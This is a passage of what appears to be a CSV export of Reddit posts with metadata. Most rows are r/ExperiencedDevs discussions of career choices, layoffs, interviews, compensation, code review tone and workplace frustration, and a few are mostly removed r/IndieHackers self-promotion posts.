am considering looking for a normal dev job that isn't too senior purely just to enjoy the work, go home and not have to think about it non stop. This isn't about not wanting to grow or anything but simply an urge for the simpler life. Does anyone else feel similar or have any thoughts/perspective on this? Is this a healthy direction? I'm not burned out either, just looking at it differently..",boxhacker,544,99,1658835793,/r/ExperiencedDevs/comments/w8hlfv/anyone_else_want_a_less_senior_role_just_to_enjoy/,https://www.reddit.com/r/ExperiencedDevs/comments/w8hlfv/anyone_else_want_a_less_senior_role_just_to_enjoy/,self.ExperiencedDevs,True,,,,, svzfyo,ExperiencedDevs,Dropping a tier was an unexpectedly great choice,"I've spent most of my career chasing prestige/TC oriented companies (ex-FAANGs and such). However, I hated the feeling of having to fight so hard just to tread water. It was super competitive just getting in, and never managed to get promoted. The competition was extremely bright, and willing to dedicate 60 hour weeks consistently to get the promo. I can do pushes, but can't sustain that effort. Granted, I could further my career by jumping companies, but I hit a wall at the senior level. It's near impossible to get hired externally as a manager, and I don't leetcode nearly well enough to pass a staff level FAANG interview. In addition to feeling stuck, the WLB and stress was just awful. I'd always half joked to myself I should step down to a tier2/3 company and climb the ranks easily there instead. I finally took the risk 6 months ago and took a lower TC for a staff level role at lower tier company. Hoped I could get unstuck, but figured if nothing else it would be a nice WLB breather before I went back to the grind. Within 6 months I've been super appreciated. I got promoted into management which I've been wanting to break in to. I also got a substantial raise after getting promoted (the promo itself was technically lateral) and now my compensation is back to where it was before. It really feels like having my cake and eating it too. Lesson I wanted to pass on is sometimes it can be nice being a bigger fish in a smaller pond. Also, sometimes it's not BS when companies promise WLB in exchange for lower pay, and it can really be worth the trade off. I also think people unfairly turn there noise at the tech in tier 2/3 companies. The scale and technical problems here are frankly more exciting then most of the FAANG problems I've solved. Also, even though the pond is smaller I still don't have the smartest person in the room syndrome. There are principal and senior principal engineers who know \*way\* more than I do, and it's a major benefit to be able to converse with them. Tier 1 doesn't have the monopoly on smart engineers. (Update) Wanted to answer a few questions and clarify a few things up top. TC at both companies is ~300K. Base is way higher though at above 200k so I prefer my comp now. I also think spending some time at FAANG is a good thing. I don’t regret going at all. You can be happy without going, but do think it was worth doing. My statements are about purely tier 2/3 vs tier 1. I don’t advise bottom of the barrel and non software shops. They tend to have their own issues.",FactoryReboot,542,235,1645238523,/r/ExperiencedDevs/comments/svzfyo/dropping_a_tier_was_an_unexpectedly_great_choice/,https://www.reddit.com/r/ExperiencedDevs/comments/svzfyo/dropping_a_tier_was_an_unexpectedly_great_choice/,self.ExperiencedDevs,True,,,,, 1k7vu6m,ExperiencedDevs,How to communicate to a junior that spending 2 hours to save the customer 10ms is not efficient?,"I started at a company where there's a desktop java app with this other dude. Dude is mid-30s, just graduated, and it's his first SWE job. I have about 4 YOE at 3 companies. Today, he was describing an issue he had where he felt like the system could be more efficient. What was the inefficiency? He was turning one string into 8, then looping over those 8 strings, then putting them back together. This step would happen during our install, which in the whole process, takes around an hour to fully set up. The step he's working on is to remove specific parts of the string (special characters, primarily). When I told him it doesn't really matter if he splits it up into 8 strings or not in terms of memory, he looked at me funny like he didn't believe me. This leads me to thinking that maybe I didn't describe it good enough. So I told him that memory is cheap and time is a much better thing to try and save. He responded and said that if everyone was as memory efficient as he is attempting to be, then the application wouldn't be as bloated as it is. While true, it seems to me like his priorities are aligned more towards efficiency rather than solving the problem. How do I tell him that being memory efficient, while good practice, isn't always the priority, especially with dealing with small amounts of data?",MinimumArmadillo2394,542,378,1745615032,/r/ExperiencedDevs/comments/1k7vu6m/how_to_communicate_to_a_junior_that_spending_2/,https://www.reddit.com/r/ExperiencedDevs/comments/1k7vu6m/how_to_communicate_to_a_junior_that_spending_2/,self.ExperiencedDevs,True,,,,, 1e241h3,ExperiencedDevs,Where did all the laid off devs go?,"Hundreds of thousands of devs were cut in the last two years and a corresponding number of new jobs were not created \[https://www.trueup.io/layoffs\]. This is maybe a dumb question but: where are they now? I don't know anyone that was laid off, but in your circle, what have you seen? Are these folks going to very small startups (I heard this a few times)? Are they out of the game completely? Surely they're not struggling to get a job a year+ later I hope? Or maybe I am misreading the data. To mods: this is *not* a rant or request for career advice, I am asking the folks here about their experiences in their professional circle. ",notchatgptipromise,539,444,1720853592,/r/ExperiencedDevs/comments/1e241h3/where_did_all_the_laid_off_devs_go/,https://www.reddit.com/r/ExperiencedDevs/comments/1e241h3/where_did_all_the_laid_off_devs_go/,self.ExperiencedDevs,True,,,,, 10l6xpl,ExperiencedDevs,Hey engineering managers: dev machines need 32GB of memory,"Edit: well despite being removed for being ""low effort"" it was a fun thread, nice to know that other people share my pain If a developer is doing anything with mobile it's especially important. My machine is constantly at 14 of 16GB used. The gargantuan mono repo that I work in on a day-to-day is not helping of course but I can't fix that. When my machine is slow I'm very vulnerable to distractions. Just look at it as a cost benefit: the cost isn't very high compared to how much time you're saving for your very expensive employees. A coworker who is no longer with the company spent months complaining about this and got nowhere. What he really wanted was a Mac mini with 64 gigs of memory but the company just wouldn't go for it. /rant edit: this is going on the interview question list",ryhaltswhiskey,538,230,1674674141,/r/ExperiencedDevs/comments/10l6xpl/hey_engineering_managers_dev_machines_need_32gb/,https://www.reddit.com/r/ExperiencedDevs/comments/10l6xpl/hey_engineering_managers_dev_machines_need_32gb/,self.ExperiencedDevs,True,,,,, 145visd,ExperiencedDevs,Why the Return to the Office Is Inevitable,[removed],pleaseinsertdisk2,537,438,1686388759,/r/ExperiencedDevs/comments/145visd/why_the_return_to_the_office_is_inevitable/,https://www.reddit.com/r/ExperiencedDevs/comments/145visd/why_the_return_to_the_office_is_inevitable/,self.ExperiencedDevs,True,,,,, 1fdo0hi,ExperiencedDevs,Help me become the worst tech lead you've ever worked with,"I'm a tech lead for a team comprised of 3 other engineers. We've been around for quite some time at the company (2+ years) and have a positive & relaxed team culture. For what it's worth, I don't take much credit here as the team has always been comprised of high performers and great people. A senior EM has recently decided to merge a struggling team into ours in the hopes that we can correct that team's missteps and issues; this is likely the first time I'll be helping lead a team with ""underperformers"" & past decisions plaguing productivity today. So, tell me how I can be the _worst_ technical lead out there, what sort of things could I do to guarantee an impending doom on the team and kill the culture we've cultivated so far?",ICanCountTo0b1010,534,299,1725990314,/r/ExperiencedDevs/comments/1fdo0hi/help_me_become_the_worst_tech_lead_youve_ever/,https://www.reddit.com/r/ExperiencedDevs/comments/1fdo0hi/help_me_become_the_worst_tech_lead_youve_ever/,self.ExperiencedDevs,True,,,,, s1lc23,ExperiencedDevs,How much more likely would you be to respond to a recruiter if they offered the salary range up front in their initial message?,"I've got 10 yoe doing Java/SpringBoot microservices for various clouds. I get a lot of recruiting offers, I'm sure just like all of you. I never respond to any of them since none of them offered me a salary range, and most of them are too long and drawn out wals of text. Why bother wasting my time talking to a recruiter just to find out that the salary range is 30k below what I'm already making? However, one recruiter for Ford recently messaged me with a single paragraph opener about the tech, and gave a salary range. I personally responded to this guy with a warm thank you, even though I declined him. However, I am still thinking about this. If every recruiter opened with a single paragraph about the work and tech, and then gave a salary range, I would reply 100x more than I do now. What about you guys?",restlessapi,531,114,1641929493,/r/ExperiencedDevs/comments/s1lc23/how_much_more_likely_would_you_be_to_respond_to_a/,https://www.reddit.com/r/ExperiencedDevs/comments/s1lc23/how_much_more_likely_would_you_be_to_respond_to_a/,self.ExperiencedDevs,True,,,,, wlyjqp,ExperiencedDevs,My company laid off our best people without warning and now I am thinking of leaving myself,"I'm a dev lead who was just promoted a few months ago at a company of a few hundred people or so. My company has always had some culture issues, but their quarterly reports were always solid and they exceeded expectations so I didn't have any financial worry about the company's future. My manager and I were in talks about expanding the team out. But suddenly without warning a week later the company fired most of our top developers despite strong financials. When I say top developers, I mean guys like our lead architect who has been with the company from the beginning. He would work 70 hour weeks, had a great attitude, and had irreplaceable domain knowledge. They also fired 1 of 2 devops people, the sole release manager, senior devs, and a myriad of others (VP's, principal engineers, you name it). They also fired the best guy on my team. I literally have told him outright that he was the best as he was shipping top features, and was extremely well liked and brought the morale of the team way up. Out of nowhere he IM's me and says, ""it was great working with you"" and it came as a complete shock to both my manager and I. Even on his way out he was all class, thanking everyone on the team personally so it was extremely bizarre that he would be let go out of anyone. From what I gather this all came ""from the top"" and there was ZERO discussion on who to keep. My manager wasn't even invited on the call to let them know they were being let go. Morale right now is in the shitter and people are honestly lost on where to go next without our lead architect. So my question is, should I throw in the towel and start looking too? I didn't anticipate that I would have to drop everything and do the Leetcode song and dance so soon after getting promoted, but now I am debating on starting the process to get out myself. Do you think this situation is recoverable or should I just start to move on?",NoLavishness1314,521,116,1660242606,/r/ExperiencedDevs/comments/wlyjqp/my_company_laid_off_our_best_people_without/,https://www.reddit.com/r/ExperiencedDevs/comments/wlyjqp/my_company_laid_off_our_best_people_without/,self.ExperiencedDevs,True,,,,, 1flcgsb,ExperiencedDevs,I’m not a fan of DMs at work.,"As much as I love async communication over chat, It bugs me when people DM me with questions that could easily go in an open channel. These conversations are often useful to the whole team. I keep finding myself redirecting people, so I ended up writing a blog post about it. [DMs Aren't Doing Your Team Any Favors](https://medium.com/renaissance-learning-r-d/dms-arent-doing-your-team-any-favors-cef2e4522fbe) What’s DM culture like on your team? How do you handle it? **EDIT:** I see a couple of themes in the responses. * Bystander effect - where public posts go unanswered * Noise - either notifications, or just the sheer volume of messages in public channels. I didn't talk about these specifically in my blog for the sake of brevity and staying focussed. Perhaps a good topic for a follow-on post. But also the slack etiquette guide has some very useful guidance about managing these well - [https://slack.com/intl/en-au/blog/collaboration/etiquette-tips-in-slack](https://slack.com/intl/en-au/blog/collaboration/etiquette-tips-in-slack) (#7 on that page is DMs! Thanks for the link /u/[pwmcintyre](https://www.reddit.com/user/pwmcintyre/))",foragerr,513,346,1726840136,/r/ExperiencedDevs/comments/1flcgsb/im_not_a_fan_of_dms_at_work/,https://www.reddit.com/r/ExperiencedDevs/comments/1flcgsb/im_not_a_fan_of_dms_at_work/,self.ExperiencedDevs,True,,,,, 1ke48bm,ExperiencedDevs,Dealing with an uptick in certain members of team pasting ChatGPT output into team chats,"Has anyone had to deal with this? It is extra frustrating when the particular topic is somewhat nuanced and the person post a response where the LLM had zero context. Some examples: A discussion about whether we should build our own component or use a premade library. Senior developers are discussing the various costs and benefits and how it affects our org and how it would affect other parts of our code base.. And a non-technical person comes in and drops a 50 line answer from ChatGPT. Similarly: our operations team is discussing why a server occasionally goes down. We are analyzing logs and making other analysis when someone drops in another 50 line answer where the question was something like, “why would a server go down?“ I’m trying to find a nice way to navigate the situation and tell these folks that we all have ChatGPT and these giant blurbs with no context of our specific situation are only a distraction. ",lorengphd,512,145,1746309315,/r/ExperiencedDevs/comments/1ke48bm/dealing_with_an_uptick_in_certain_members_of_team/,https://www.reddit.com/r/ExperiencedDevs/comments/1ke48bm/dealing_with_an_uptick_in_certain_members_of_team/,self.ExperiencedDevs,True,,,,, u6fxbm,ExperiencedDevs,Do people think your PR comments sound arrogant or judgmental?,"Another developer and I were going over her pull request. She said, ""It's funny — whenever I read your comments on a PR I think you're a dick. But whenever we talk in person you come across way friendlier."" I'd gotten comments like this before, and was desperate to address them. I was always polite, avoided subjective terms ('good', 'bad', 'right', 'wrong', etc.), and found things to compliment. But the comments continued. Oddly, nobody could ever tell me _what_ was so off-putting. I'm so grateful to this developer who was willing to take the time to help me get to the bottom of it. We identified a few behaviors, and since changing them the way I'm perceived seems to have improved tremendously: **1. Use 'we', not 'I/you'.** Growing up with social anxiety, I worked really hard to figure out how to communicate with people. One thing that is brought up in every conflict resolution/mediation class is using [I-Statements](https://en.wikipedia.org/wiki/I-message) — phrasing things as, ""When you do [specific behavior], I feel [emotion]."" So naturally I applied this to every interaction, and always phrased things in terms of ""you/me"". Ironically, outside of conflict resolution, this can come across as adversarial. In the context of PRs it tends to sound like, ""I do things this other way. You should change your code to do things my way."" I now try to phrase everything in terms of 'we'. For example, ""We may want to do things this other way. Could we change this code to do things the other way?"" This removes the implication of blame or shortcoming, and the implication that my way is the right way. **2. Limit comments to 300 characters.** I think best by writing out my thoughts, and when commenting on PRs would include my thinking in detail. It turns out a wall-of-text response reads like a litany of complaints, no matter how well-intended. Now I just save my walls-of-text in a local document on my computer, include a summary in the PR comment, and reach out to the developer to see if they want to huddle to talk through it. **3. Use (some) emojis.** This sounds silly and unprofessional. However, _when used occasionally and responsibly_, emojis can go a long way to communicate the intent behind your words. Our team now uses [the Code Review Emoji Guide](https://github.com/erikthedeveloper/code-review-emoji-guide). Prefacing each comment with the appropriate emoji not only helps inform the tone of each comment, it also provides a usual way to visually categorize comments when looking lots of them. --- These trivial changes to my behavior have had an undeniably positive impact on my team and my career. It's almost frustrating — ""_This_ is all that's been holding me back?"" Even if we're all experienced professionals, our own feelings and biases affect how we read and write even the most impartial communications.",robertgfthomas,512,200,1650295950,/r/ExperiencedDevs/comments/u6fxbm/do_people_think_your_pr_comments_sound_arrogant/,https://www.reddit.com/r/ExperiencedDevs/comments/u6fxbm/do_people_think_your_pr_comments_sound_arrogant/,self.ExperiencedDevs,True,,,,, 1gbme66,ExperiencedDevs,Has your leadership mentioned that developer productivity is down across the board?,[deleted],[deleted],509,411,1729831674,/r/ExperiencedDevs/comments/1gbme66/has_your_leadership_mentioned_that_developer/,,,True,,,,, 10tnhi2,ExperiencedDevs,Handling resentment,"I'm approaching 10 years in the industry, having worked in different roles both in small shops and Fortune 500 companies. The amount of idiocy in the management and leadership is driving me nuts. These people are everywhere, they have spread like cancer and there's no way I can see to fight them. One useless clueless corrupt idiot isn't going to fire another one for doing exactly same things. Engineers who carry this entire industry on their shoulders are constantly belittled, made fun of, and generally treated with utmost disrespect and open disdain. The work from home 'debate' was the final straw. The amount of shit I heard from MBA types telling the cattle to get back into the stable was truly astonishing. Working in middle management I find myself surrounded by people whose ""values"" I am disgusted by, working as an individual contributor I find myself burnt out because all my care and skill is flushed down the crapper by people cosplaying pointy hair dude from Dilbert. Is there any hope or I should go open a flower shop?",dancingraccoons,505,180,1675535410,/r/ExperiencedDevs/comments/10tnhi2/handling_resentment/,https://www.reddit.com/r/ExperiencedDevs/comments/10tnhi2/handling_resentment/,self.ExperiencedDevs,True,,,,, wqoo4r,ExperiencedDevs,Not giving developers root access to their dev machines," I have ran across this a few times, mostly in the financial service and healthcare spaces. And it just completely sucks to high heaven. I have found that anytime I don’t have access to root development is just a constant uphill battle. Everything is unnecessarily hard. And on top of that, some top level governance decides on your development tools which are often substandard. The weird thing is that companies that love to restrict developer access also tend to crack the whip more. Always imposing ridiculous deadlines. From what I can tell there is never a good reason to restrict a developer’s access. I get that you don’t want them always pulling in tools from the wild wild web. But I feel that if you’re not shopping commercial software (and oftentimes you’re not in these orgs), then it should be fine to get your work done. I just never understood reducing developer choice.",branh0913,505,277,1660741988,/r/ExperiencedDevs/comments/wqoo4r/not_giving_developers_root_access_to_their_dev/,https://www.reddit.com/r/ExperiencedDevs/comments/wqoo4r/not_giving_developers_root_access_to_their_dev/,self.ExperiencedDevs,True,,,,, 11c1zy8,ExperiencedDevs,After 12+ years I don’t know how I can survive in this industry anymore.,"I’ve posted numerous times on here ranging from a terrible toxic experience as a team lead at a mid-sized company in the retail space to a recent negative bad review out of nowhere at a new company. I keep burning out after 6-18 months at every job I’ve had. It’s only accelerated as I’ve commanded more money. I’m so tired of: 1. Management who doesn’t understand the consequences of their actions or asks 2. “It’s only a small changeism” 3. “You should be able to overcome a lack of hardware or tools.” 4. Poorly defined or no requirements or acceptance criteria 5. Being expected to be development, QA, DBA and Devops all in one 6. The mental anguish that comes from constantly being under a tight deadline no matter how much I push back and forewarn that we need more time 7. Deadlines that make no sense or have no need to be so tight 8. Constantly shifting priorities that undercut progress on each other leading to rework and even later, lesser quality code shipped 9. Office politics, even while remote 10. Constant need to keep up with the Joneses on a myriad of the latest and greatest tools, any of which feel like they were only created to ensure job security by big tech devs I’m tired, no exhausted. I just don’t know if I can do this anymore. It used to be a passion for me but the industry has beaten that out of me.",aguyfromhere,501,226,1677375554,/r/ExperiencedDevs/comments/11c1zy8/after_12_years_i_dont_know_how_i_can_survive_in/,https://www.reddit.com/r/ExperiencedDevs/comments/11c1zy8/after_12_years_i_dont_know_how_i_can_survive_in/,self.ExperiencedDevs,True,,,,, qrmwpc,ExperiencedDevs,Questions I've asked during interviews,"Currently going through a round of hiring, After getting past their screening process, I've come up with a few questions to judge if I want to work at a place that apply generically to any company at this level. Thought I'd compile my list of questions for others to use and comment on when interviewing at the Senior/Principal level. Would welcome any suggestions or improvements based on experiences of other devs who onboarded at a place and wish they'd ask a question during the interview about it. – If I accept the position, what will my first year goals look like? – What is the possible career progression path for my position at this company? – What is the criteria and process for promotion/advancement at this company? Is there an arbitrary cap on the number of available promo spots above my current position? – Is there a technical IC track as well as a management track? What does a terminal position look like for an IC? – Can you provide me an example of a technical leader at your company, what is their position and responsibilities? – Are there any NDAs, non-competes, IP agreements, or other legal documents required for me to sign? – Do you have a company social media policy? – What is the company policy and reality regarding overtime work? How many hours a week do you think are required to do this job as a high performer? – Sometimes the actual job descriptions don't match the posted position thanks to HR getting confused. Can you describe for me what the typical responsibilities will be in this role? – What does an effective employee look like in this position to achieve top ratings in reviews? – Since this is an in-office position, please describe the office environment and culture. Is it open-plan, cubicle, or private office? – Are there any vesting requirements or cliffs to any of the company's provided benefits? – Can you describe your existing technology stack? – What is the driver for this role to exist now? If someone previously held this position, why did they leave? – Describe your documentation and onboarding process for new employees. – Can you provide me the average total deductions for an employee at my level for health insurance and other benefits the company offers? \- What kind of leeway will I have to help shape policy and bring in new technologies, both in our department and across the company? – How many times in the past 6 months have SLOs/SLAs been exceeded? \- Is there a 24/7 on-call support? What is the support policy at your company?",engineered_academic,499,52,1636642141,/r/ExperiencedDevs/comments/qrmwpc/questions_ive_asked_during_interviews/,https://www.reddit.com/r/ExperiencedDevs/comments/qrmwpc/questions_ive_asked_during_interviews/,self.ExperiencedDevs,True,,,,, pke04a,ExperiencedDevs,Why do companies prefer to risk losing loyal engineers instead of paying them market rate?,"I strongly dislike that many companies in today's market fail to pay their loyal engineers a fair salary based on their skills, location, and experience. I understand that companies try to ""optimize"" their success by retaining highly-skilled engineers and paying them as little as they can get away with, but it's still shitty. I know a lot of companies have ""policies"" that cap how much of a raise someone can get (e.g., max of 2% raise every year), but on my team at my previous job, we had some highly-skilled, brilliant engineers who did amazing work and BOOSTED the organization's sales by 120% in one quarter alone, but they were not properly compensated. (We all talked to each other after we left because we had been talking in secret for some time about our new boss fucking us over.) Companies lose a lot of talent through their greediness, and it makes no sense to me that they figure ""risk is better than reward."" That is, they'd literally rather risk losing their highly effective employees than pay them market rate. Sure, some people will stick with their jobs regardless if they're being paid fairly or not, but it's still shitty behavior on the company's part. What's so hard about keeping up with inflation?",jrt364,496,163,1631118786,/r/ExperiencedDevs/comments/pke04a/why_do_companies_prefer_to_risk_losing_loyal/,https://www.reddit.com/r/ExperiencedDevs/comments/pke04a/why_do_companies_prefer_to_risk_losing_loyal/,self.ExperiencedDevs,True,,,,, ri6sqn,ExperiencedDevs,Senior developer was wrongly accused and now is demotivated,"I am a development manager and one of my best developers recently got a complaint that he's being too harsh, obstructive, non-cooperative and blunt towards the PM - we got the complaint from HR - it was no surprise the complaint was from the PM. I don't want to go into the details of the accusations but upon investigations, we found it was the PM who was at fault (he was asking my developer to do his job!) - the PM is a very junior green staff member. My developer was exonerated. But ... as you can tell, my developer went into a downward spiral phase of demotivation - he thinks he was treated unfairly and he's giving me hints that I've ought to do better to actually do the people management. The PM also made light of the accusations only after he's planning to leave the company, so there's nothing much we can do towards the PM. I don't want to lose the developer but I honestly don't know what to do anymore. Even our head of department was asking me to check on him and asking me to tell my dev that he's a fantastic developer. Please, any advice is welcome.",thedevwhaleofatime,496,365,1639708225,/r/ExperiencedDevs/comments/ri6sqn/senior_developer_was_wrongly_accused_and_now_is/,https://www.reddit.com/r/ExperiencedDevs/comments/ri6sqn/senior_developer_was_wrongly_accused_and_now_is/,self.ExperiencedDevs,True,,,,, 11o8qo2,ExperiencedDevs,How's everyone doing with the SVB collapse?,"I imagine there's a non-neglible number of us working for companies impacted by SVB collapsing, and was curious what's happening at your company. My company has basically the entirety of their funds in limbo, and they're scrambling to be able to make payroll next week, but they've been pretty open about it. That said, the long-term hopes basically amount to ""the FDIC wouldn't let a bank collapse and destroy basically the entire tech startup industry... Right?"" so a lot of hopes and not a lot of evidence.",Xgamer4,496,347,1678502924,/r/ExperiencedDevs/comments/11o8qo2/hows_everyone_doing_with_the_svb_collapse/,https://www.reddit.com/r/ExperiencedDevs/comments/11o8qo2/hows_everyone_doing_with_the_svb_collapse/,self.ExperiencedDevs,True,,,,, odnlh6,ExperiencedDevs,"meta: Interviews were insane, but they've gotten worse","Just starting a new job so this is written as a retrospective. So, I've been a professional software engineer (i.e. paid to do it) for 25 years and a programmer, in general, for years more. I just left a job. Nothing wrong, just outgrown it, and they were moving in a direction I didn't want to go. Happens every day, time to move on, so it goes. I started looking... First of all. The moment you pop on LinkedIn you're looking for work, you'll get flooded with emails, phone calls at all hours of the day. I don't really do LinkedIn, and I created the profile years ago, and foolishly, I think from a CV upload, my mobile was on there. Bad idea. Fixed that. People will think nothing of calling you at all hours, even late in the evening, for jobs you're nowhere near a fit for. Secondly the testing scenario has gotten insane. In the last month or so, I've done personality tests, logic tests, live coding exercises, live code tests, whiteboarding sessions and take-home tests. It's a serious investment in time. I think corps forget we don't apply at one place and wait for a yes or a no, but at multiple places at once. Or maybe they do know and don't care. It's a serious challenge to continue working, do all of these tests, eat and sleep, let alone spend quality time with the family. And the level of interviews is insane. I'll give on example. This is the worst one, so bear that in mind. One particular job had an online programming test (1 hour), followed by a one-hour call with a senior manager to go through the results. After that I was given a take home test. Completed that, took a couple hours, maybe three. Then, an hour team fit call with a VP. Then an hour call with the team for the technical grilling. Then an hour architectural review with virtual whiteboard designing system from an architectural viewpoint (think load balancers, caches, etc). Didn't get the job. I was a little salty about it. The feedback was, ""not a fit for the team"". Being salty about it is all well and good, but the team fit call was early on in the process. Why didn't they stop, then, at that point? And the take home test? Never another mention of it again. Like zip, no going over it, no feedback at all. So, after several hours with this company, I get six words of feedback and a ""No."" This was a few months ago and I finally found a place I liked and they liked me. But, please, these endless hours of tests and interviews have to be toned down. Edit: Answering some questions and points that came up: - No a FANG job, or at least I did not consider them to be; maybe they thought they were though? - Advertised salary was around £90-100k. Programmers aren’t paid as much in the UK. - Some great advice here. I don’t interview often; this is my third job change is about 20 years - I will definitely ask on the first call about process. - Turns out I’m an experienced developer but a noob at job changes/interviews!",SubnetDelta,496,382,1625415314,/r/ExperiencedDevs/comments/odnlh6/meta_interviews_were_insane_but_theyve_gotten/,https://www.reddit.com/r/ExperiencedDevs/comments/odnlh6/meta_interviews_were_insane_but_theyve_gotten/,self.ExperiencedDevs,True,,,,, snsicb,ExperiencedDevs,"Have companies gone too far by expecting front end, backend, Devops and QA all from one developer aka SUPERSTAR fullstack engineers just to save money?","Have companies taken the role of software developers too far by expecting the same developer to write backend, front end, DevOps and Testing which, historically job of 4 different people, now expected from that AWESOME one person aka fullstack developer (for the same money or SLIGHTLY more money) and is a terrible deal for the developers? Surely, some people may enjoy/attain that but for the vast majority, they got into programming because they enjoyed programming and not writing config yaml files doing CI/CD, Deployment, AWS certifications, automated testing etc. and so much happens in these spaces as well (especially Devops) that its hardly possible to keepup with them let alone knowing both backened and front-end development (which itself has so much to learn ALL THE time). Also, sure as a young developer you have all the energy (and time) to somehow keep the head above the water and adapt to companies greed (aka market needs) in being all in 1 person (instead of 4 different people) as that's where most of the jobs are these days but is this sustainable?. **Are we literally shooting in our own foot because because these are job of 4 people one cannot do alone/keep uptodate once the same developer grows older, starts having family/kids, health issues etc and gets thrown out of job market by being NOT uptodate/latest enough.** Are we setting our future self for failure by raising the standards of software development so high and unsustainable because of corporate greed that we ourself won't be able to achieve that once we hit a certain age with certain responsibilities in our personal lives? and it will surely happen. &#x200B; I am programming since 11 years now. 1. In 2009 to 2013 I was just a backend developer. 2. Then after 2013/14 started to also work on frontend along with backend due to my company asking me to do so with a new project and most other jobs required the same after that period. 3. Since 2015 with the advent of AWS and cloud I was also asked to do courses on AWS and work with it along with front end and backend development. Also saw most of the companies going in that direction. 4. Since 2017 our QA team was axed in one of my job and we were asked to also write E2E tests using cypress (dumping their selenium automated tests as we were not QA's) and also take OWNERSHIP of the release (which was previously taken by QA team). I also saw this trend of developer writing E2E tests in most of the companies these days and QA team marked as unessential most of the time in most companies I see a job opening. 5. Since 2019ish I am seeing a trend where developers are also expected to build CI/CD pipeline, Deployment and owning infrastructure. So now more ownership to developers. Multiple flavours here with jenkins, circle ci, github actions, AWS code deploy etc. Devops is a big world and is a career in itself but most companies also want developers to wear this hat so that they can save money under the disguise of ""empowering"". Does the above sound too familiar to MANY dev's here? Now that I look back, so MUCH have changed in last 10 odd years and so much is expected from developers that there is no focus and job ad requirements are all over the place. The same job description which used to take half of the page back then not are 4 pages longer these days. And the irony is that the odd jobs of just frontend or backend engineers (no shenanigans of desirable to know Devops/Frontend/Testing etc. or some unrelated role thus negating the focused role in the first place) I see these days pay the same (or similar) as a fullstack engineer who is sweating keeping up and working with all of them (FE/BE/Devops/QA) so its not like those fullstack engineers are getting 4x the money either then why? I am wondering which would be the next role that will be made reduntant and handed to fullstack developer as a part of their job ;) (Datascience/ML, UX?)? Can a software developer work as a software developer till the turn 65 yeas old and retire with these current trends?",simple_explorer1,493,317,1644348363,/r/ExperiencedDevs/comments/snsicb/have_companies_gone_too_far_by_expecting_front/,https://www.reddit.com/r/ExperiencedDevs/comments/snsicb/have_companies_gone_too_far_by_expecting_front/,self.ExperiencedDevs,True,,,,, 13dugzq,ExperiencedDevs,Is your company giving raises this year?,[deleted],[deleted],491,252,1683733395,/r/ExperiencedDevs/comments/13dugzq/is_your_company_giving_raises_this_year/,,,True,,,,, 1ua63kf,IndieHackers,Let me help you get your First customer.,[removed],zuke_99,1,0,1781885349,/r/indiehackers/comments/1ua63kf/let_me_help_you_get_your_first_customer/,https://www.reddit.com/r/indiehackers/comments/1ua63kf/let_me_help_you_get_your_first_customer/,self.indiehackers,True,1,False,Technical Question,arctic-shift,1781885556 1ua5z84,IndieHackers,SHOW IH: Blue Flame — voice-first social on iPhone. I think typing social posts is dead.,[removed],soemptylmfao,1,0,1781885064,/r/indiehackers/comments/1ua5z84/show_ih_blue_flame_voicefirst_social_on_iphone_i/,https://www.reddit.com/r/indiehackers/comments/1ua5z84/show_ih_blue_flame_voicefirst_social_on_iphone_i/,self.indiehackers,True,1,False,Self Promotion,arctic-shift,1781885556 1ua5xzd,IndieHackers,Built a wordle style game for marketers - pre vetted quetions - anyone has any feedbacks? Enjoyed the process.,[removed],Zealousideal-Deer343,1,0,1781884983,/r/indiehackers/comments/1ua5xzd/built_a_wordle_style_game_for_marketers_pre/,https://www.reddit.com/r/indiehackers/comments/1ua5xzd/built_a_wordle_style_game_for_marketers_pre/,self.indiehackers,True,1,False,Sharing story/journey/experience,arctic-shift,1781885556 1ua5tuw,IndieHackers,I'll can get you your first 3 Customers. For Free,[removed],zuke_99,1,0,1781884746,/r/indiehackers/comments/1ua5tuw/ill_can_get_you_your_first_3_customers_for_free/,https://www.reddit.com/r/indiehackers/comments/1ua5tuw/ill_can_get_you_your_first_3_customers_for_free/,self.indiehackers,True,1,False,Sharing story/journey/experience,arctic-shift,1781885556 1ua5gzb,IndieHackers,"Launched 8-Fold. It's a place for domain experts to publish what they actually know, permanently, with their name on it.",[removed],[deleted],1,0,1781883916,/r/indiehackers/comments/1ua5gzb/launched_8fold_its_a_place_for_domain_experts_to/,,,True,1,False,Technical Question,arctic-shift,1781885556 1ua4rz8,IndieHackers,I built this to reduce ram usages on chrome and save tabs sessions from losing them.,[removed],glitch4000,1,0,1781882307,/r/indiehackers/comments/1ua4rz8/i_built_this_to_reduce_ram_usages_on_chrome_and/,https://www.reddit.com/r/indiehackers/comments/1ua4rz8/i_built_this_to_reduce_ram_usages_on_chrome_and/,self.indiehackers,True,1,False,Sharing story/journey/experience,arctic-shift,1781885556 1ua4kri,IndieHackers,Built a Chrome extension because I was tired of rebuilding AI context over and over,[removed],Independent-Map6399,1,0,1781881829,/r/indiehackers/comments/1ua4kri/built_a_chrome_extension_because_i_was_tired_of/,https://www.reddit.com/r/indiehackers/comments/1ua4kri/built_a_chrome_extension_because_i_was_tired_of/,self.indiehackers,True,1,False,Sharing story/journey/experience,arctic-shift,1781885556 1ua42uh,IndieHackers,One-time Purchase or Free Game with Ads,"Hello everyone! Recently, I participated in a hackathon and developed a web game to compete in the hackathon. It is a game similar to Block Blast! and Tetris, with some unique twists. I actually sent it to a few of my friends, and many loved it, which is why I am currently thinking of developing it into a full-fledged mobile game on both iOS and Android. As a student and indie hacker, I plan to develop this bootstrapped game. However, I am currently considering whether to develop it as a one-time purchase or a free game with ads. Personally, I prefer the former, as I understand many people hate ads (myself included), however, I don’t want to make this feel like a burden for those that cannot afford it. Which is why I am asking the community for advice. What do you guys think? If anyone is interested, I am happy to share the link; however, as AI are allowed for the competition, it is developed with AI (a little vibe coding too). The real game will only use AI as guidance, while fully human-made. ",JestonT,1,0,1781880679,/r/indiehackers/comments/1ua42uh/onetime_purchase_or_free_game_with_ads/,https://www.reddit.com/r/indiehackers/comments/1ua42uh/onetime_purchase_or_free_game_with_ads/,self.indiehackers,True,1,False,Financial Question,arctic-shift,1781885556 1ua32ks,IndieHackers,"I Rejected a $15K Acquisition Offer for My Multi-Agent IDE - Here's the Full Breakdown",[removed],NoCucumber4783,1,0,1781878271,/r/indiehackers/comments/1ua32ks/i_rejected_a_15k_acquisition_offer_for_my/,https://i.redd.it/l1wiq2svy88h1.jpeg,i.redd.it,False,1,False,Sharing story/journey/experience,arctic-shift,1781885556 1ua2yct,IndieHackers,A GitHub repo can have good code and still feel 